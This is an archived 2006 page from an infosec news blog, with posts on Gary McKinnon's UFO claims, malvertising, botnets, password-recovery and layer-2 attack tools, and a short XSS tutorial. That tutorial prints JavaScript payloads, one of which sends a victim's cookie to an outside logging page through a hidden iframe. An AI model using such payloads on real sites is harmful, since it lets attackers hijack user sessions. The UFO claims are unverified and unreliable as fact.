Darknet - The Darkside

Don`t Learn to HACK - Hack to LEARN. That`s our motto and we stick to it, we are all about Ethical Hacking, Penetration Testing & Computer Security. We share and comment on interesting infosec related news, tools and more. Follow us on Twitter, Facebook or RSS for the latest updates.

25 June 2006 | 17,420 views

UFO ‘Hacker’ Gary McKinnon Reveals What He Found

Prevent Network Security Leaks with Acunetix

An interesting interview had been posted on Wired with Gary McKinnon about what he actually found whilst penetrating the US government networks.

After allegedly hacking into NASA websites — where he says he found images of what looked like extraterrestrial spaceships — the 40-year-old Briton faces extradition to the United States from his North London home. If convicted, McKinnon could receive a 70-year prison term and up to $2 million in fines.

Final paperwork in the case is due this week, after which the British home secretary will rule on the extradition request.

McKinnon, whose extensive search through U.S. computer networks was allegedly conducted between February 2001 and March 2002, picked a particularly poor time to expose U.S. national security failings in light of the terror attacks of Sept. 11, 2001.

You can also search the Darknet archives for more news on Gary.

There are a couple of interesting parts, but it all sounds rather X-Files..

WN: Did you find anything in your search for evidence of UFOs?

McKinnon: Certainly did. There is The Disclosure Project. This is a book with 400 testimonials from everyone from air traffic controllers to those responsible for launching nuclear missiles. Very credible witnesses. They talk about reverse-(engineered) technology taken from captured or destroyed alien craft.

Shame he was on 56k aswell, or we might have gotten some good stuff!

WN: What sort of evidence?

McKinnon: A NASA photographic expert said that there was a Building 8 at Johnson Space Center where they regularly airbrushed out images of UFOs from the high-resolution satellite imaging. I logged on to NASA and was able to access this department. They had huge, high-resolution images stored in their picture files. They had filtered and unfiltered, or processed and unprocessed, files.

My dialup 56K connection was very slow trying to download one of these picture files. As this was happening, I had remote control of their desktop, and by adjusting it to 4-bit color and low screen resolution, I was able to briefly see one of these pictures. It was a silvery, cigar-shaped object with geodesic spheres on either side. There were no visible seams or riveting. There was no reference to the size of the object and the picture was taken presumably by a satellite looking down on it. The object didn’t look manmade or anything like what we have created. Because I was using a Java application, I could only get a screenshot of the picture — it did not go into my temporary internet files. At my crowning moment, someone at NASA discovered what I was doing and I was disconnected.

I also got access to Excel spreadsheets. One was titled “Non-Terrestrial Officers.” It contained names and ranks of U.S. Air Force personnel who are not registered anywhere else. It also contained information about ship-to-ship transfers, but I’ve never seen the names of these ships noted anywhere else.

Interesting eh?

Source: Wired



24 June 2006 | 5,788 views

LiveJournal Advert Installs Malware

Seems like someone sneaked past the LiverJournal advertisers policy by only trying to infect Australian and European users.

A certain advertiser (kpremium.com) – being sneaky and underhanded. It’s not LJ’s fault, LJ already disabled the advert from rotation.

The ad itself is for a program that lets you download stuff – you know the sort of thing. The ad is a Flash ad, and masquerades as a banner ad.

Thing is, the Flash ad contains code to open a popup that leads to a very different destination – it’s what I assume is an affiliate link that attempts to download and install ErrorSafe on your computer.

Source: no_lj_ads

LJ have said they are looking into it.

It looks like one of our advertisers possibly managed to sneak past our ad guidelines. The kpremium ad is designed and targeted for people in Western Europe and Australia, and we’ve received reports from people in those regions, indicating that it’s doing obnoxious things with the browsers — shrinking the window and generating popups. (Many people mentioned “ErrorSafe” in

Source: lj_ads

Sneaky eh, all the more reason to use Firefox, Adblock Plus and NoScript!

Also keep your anti-virus software up to date just in case.


23 June 2006 | 13,221 views

Researchers hack Wi-Fi driver to breach laptop

Ah another way to exploit wifi, what a surprise!

Security researchers have found a way to seize control of a laptop computer by manipulating buggy code in the system’s wireless device driver.

The hack will be demonstrated at the upcoming Black Hat USA 2006 conference during a presentation by David Maynor, a research engineer with Internet Security Systems and Jon Ellch, a student at the U.S. Naval postgraduate school in Monterey, California.

Another good reason to go to Black Hat 2006! See our list of Security Conferences & Events here.

Hmm fuzzing device drivers, long and tedious, but often leads to a way in. Well come to think of it, fuzzing most things breaks them eventually.

Device driver hacking is technically challenging, but the field has become more appealing in recent years, thanks in part to new software tools that make it easier for less technically savvy hackers, known as script kiddies, to attack wireless cards, Maynor said in an interview.

The two researchers used an open-source 802.11 hacking tool called LORCON (Lots of Radion Connectivity) to throw an extremely large number of wireless packets at different wireless cards. Hackers use this technique, called fuzzing, to see if they can cause programs to fail, or perhaps even run unauthorized software when they are bombarded with unexpected data.

The scary thing is the victim doesnt need to connect to a network or anything, they just need to have the wireless device enabled and be in range, then boom hello! owned.

Source: Infoworld


22 June 2006 | 14,345 views

Cross Site Scripting (XSS)

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.

About
XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
In fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions…
In a small definition: XSS=JavaScript+HTML

The Call Of Javascript
Even if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don’t know JavaScript I recommend them http://www.javascript.com… After learning the basics of this wonderful scripting language, you will be ready to go…

Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?

Posibilities
With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:

<script>
document.location=”http://what-page.you.want.com”;
</script>

Also you could do something like popping up the cookie:

<script>
alert(document.cookie);
</script>

And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…

<script>
var theCookie = document.cookie;
document.write(‘<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);
</script>

Also there are more possibilities with XSS, you just need some creativity…

More XSS
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html

Also a great XSS database can be found at: securityfocus


22 June 2006 | 8,526 views

Botnets and Phishing Numbers Increasing Despite Crackdown

Botnets and organises cybercrime is getting more prevalent, it seems it’s increasing exponentially despire crackdowns by the US governments and other organisations.

The criminals are getting more advanced, phishing scams are getting more realistic, technically trojans are getting more effective and the groups are getting really organised.

Cybercrooks are organizing better and moving to more sophisticated tactics to get their hands on confidential data and turn PCs of unwitting users into bots, representatives from the U.S. Department of Justice and the U.S. Air Force Office of Special Investigations said in separate presentations here at the Computer Security Institute’s NetSec event this week.

Law enforcement has had increased successes in catching, prosecuting and convicting phishers and bot herders over the past couple of years. However, catching the bad guys is getting tougher as the criminals become more professional, the representatives said.

The success rate has increased, but the incident rate has increased even higher.

Cybercriminals are often after data they can turn into cash, such as credit card numbers or even trade secrets. “If you have a smaller botnet and you combine that with targeted, really sophisticated social engineering tactics, you’re going to be potentially a lot more successful,” Whitmore said.

The military has seen a rise in such attacks over the last couple of years, Whitmore said. The attackers know what organizations work together, which generals would be involved and what issues they would talk about, she said. It’s “incredibly disturbing, because those are the kinds of things that should be kept somewhat secret,” she said.

The money is in attacking the consumers now, it might be for your credit card details or just your bandwidth to launch DDoS attacks as a way of extorting money from companies.

Either way it seems the paradigm has truly shifted, and attacking corporates is not the way to get the big money.

Source: CNET


22 June 2006 | 46,344 views

FireMaster 2.1 – A Firefox Master Password Recovery Tool

FireMaster version 2.1 has been released with its new features and new speed.

Firemaster is the Firefox master password recovery tool. If you have forgotten the master password, then using FireMaster you can find out the master password and get back your lost signon information. It uses various methods such as dictionary, hybrid and brute force techniques to recover the master password from the firefox key database file.

Since its initial release in Jan 1, 2006 its speed has increased exponentially and currently it is operating at a speed of 50,000 passwords/sec to 100,000 passwords/sec depending upon low end or high end machine.

How it Works?

There is no way to recover the master password as it is not stored at all. Firemaster uses the same technique which has been used by firefox to check if the master password is correct, but in more optimized way. The entire operation goes like this.

  • Firemaster generates passwords on the fly through various methods.
  • Then it computes the hash of the password using known algorithm.
  • Next this password hash is used to decrypt the known encrypted string for which plain text ( i.e. “password-check” ) is known.
  • Now if the decrypted string matches with known plain text ( i.e. “password-check” ) then the generated password is the master password.

Firefox stores the details about encrypted string, salt, algorithm and version information in key database file key3.db in the user’s profile directory. So you can just copy this key3.db to different directory and specify the corresponding path to Firemaster. You can also copy this key3.db to any other high end machine for faster recovery operation.

More details are available here:

FireMaster


21 June 2006 | 18,656 views

Google’s Orkut Hit by Data Stealing Worm – Mw.Orc

So just a few days about there was a new MSN Worm – BlackAngel.B, before that the Yahoo! e-mail worm, long before that of course the MySpace worm and a few others not notable enough to mention.

And of course plenty of nasty Trojans.

A new Internet worm capable of stealing bank details and other personal data from users is circulating via Orkut, Google Inc.’s social networking service, a computer security company warned on Monday.

Instant-messaging service provider FaceTime Communications said its software security lab had detected the spread of the electronic virus, the third such threat to disseminate itself via messages posted on Orkut users personal Web pages.

Google’s service, while available globally, is wildly popular among Brazilians which make up the bulk of its users.

The malicious program, dubbed by FaceTime as “MW.Orc,” works its way onto users’ personal computers when they click on infected links on Orkut scrapbook pages. The link is followed by a message in Portuguese that entices the user to click.

It seems this is not the first time Orkut has been hit, this one however goes after personal details of a more valuable nature.

Once the link is activated, a file is uploaded to the PC, according to a description of how the worm works contained in a statement by the Foster City, California-based company.

When infected Orkut users using Microsoft Corp.’s widely used Windows XP operating system to find personal files on their PCs through their “My Computer” icon, that triggers an e-mail back to the creator of MW.Orc creator filled with personal information stored on the PC, FaceTime said.

The earlier attempt seemed to be more of a phishing affair.

The new threat to Orkut follows an earlier worm, Banker-BWD, which was uncovered by Sophos, an anti-virus company.

That malicious software also disseminated itself through Orkut’s scrapbook pages, but automatically transferred the victims to fake Web pages of banks in order to entice the users to enter personal data that can then be stolen by the hackers.

People are getting pretty handy with all this HTML worm business, I’m impressed.

Source: Reuters


21 June 2006 | 9,436 views

Yersinia 0.7 Released with 802.1x Support – Layer 2 Attack Framework

Yersinia is a network tool designed to take advantage of some weakeness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems.

It’s a very useful for any network based penetration testing or vulnerability assessment. There isn’t many tools working on Layer 2 and this is ‘the’ one.

Attacks for the following network protocols are implemented (but of course you are free for implementing new ones):

  • Spanning Tree Protocol (STP).
  • Cisco Discovery Protocol (CDP).
  • Dynamic Trunking Protocol (DTP).
  • Dynamic Host Configuration Protocol (DHCP).
  • Hot Standby Router Protocol (HSRP).
  • 802.1q.
  • Inter-Switch Link Protocol (ISL).
  • VLAN Trunking Protocol (VTP).

Details of the attacks here.

Yersinia version 0.7 with 802.1x support has just been release, in addition to this lots of bugfixes and a new GTK interface.

The entire core has been redeveloped to support easy addition of new protocols and attacks, and with the new GTK interface the tool is ready for the masses.

You can download it directly here:

Yersinia 0.7


20 June 2006 | 4,894 views

3Com’s TippingPoint Finds New IE Vulnerabilities

What? New vulnerabilities in Internet Explorer?

You can hack Internet Exploder Explorer? Never!

3Com Corp’s TippingPoint division has discovered and disclosed two critical new vulnerabilities in Microsoft’s Internet Explorer through 3Com’s Zero Day Initiative (ZDI).

The vulnerabilities could have allowed an attacker to gain control of a PC if the user was logged in with administrative rights.

Sounds a bit like an advert for TippingPoint to me.

Under the ZDI, 3Com rewards researchers who, while keeping the vulnerabilities confidential, alert 3Com to these vulnerabilities.

3Com can in turn alert the software vendor so that a patch can be prepared, while IPS prepares the security filter and distributes it to customers.

Interesting initiative though.

Source: The Star


20 June 2006 | 5,435 views

Money Lost Due to Cybercrime Down Again This Year!

It seems even though vendors are pushing their snakeoil harder than ever, the actual figures show that the money lost due to cybercrime has decreased every year for the last four years!

Perhaps people are finally getting more secure, it’s not suprising with the advent of cheaper and easier to use intrusion detection and intrusion prevention systems.

For the fourth straight year, the financial losses incurred by businesses due to incidents such as computer break-ins have fallen, according to the 2006 annual survey by the Computer Security Institute and the FBI. Robert Richardson, editorial director at the CSI, discussed the survey’s findings in a presentation at the CSI NetSec conference here Wednesday.

Respondents in the 2005 survey reported an average of $204,000 in cybercrime losses, Richardson said. This year, that’s down to $168,000, about an 18 percent drop, he added. Compared with 2004, the average loss is down 68 percent.

The threats themselves haven’t really changed, so the ‘risk landscape’ is the same. Just the monetary loss has decreased.

Most important, perhaps, the 615 U.S. CSI members who responded to this year’s survey reported fewer security incidents. Viruses, laptop theft and insider abuse of Net access are still the most reported threats, but all have decreased compared with last year.

“The danger of insiders may be somewhat overstated, according to the survey group,” Richardson said. About a third of respondents said they had no losses at all due to insider threats, another 29 percent said less than one-fifth of overall losses came from insider threats.

I would definitely put it down to consistent and more widespread use of security technologies as well as general awareness and understanding being higher. I would agree with the following statement that nowadays it’s more likely the consumers are losing more money.

The businesses have already tightened themselves up.

When it comes to cybercrime losses, consumers might be bearing the brunt of them, and they are not covered by the survey, Richardson suggested. “Consumers are the low-hanging fruit,” he said. Costs related to identity theft, for example, fall largely back onto the consumer, he added, even if it did start with a data breach at an enterprise.

So as users we must be careful too.

Source: News.com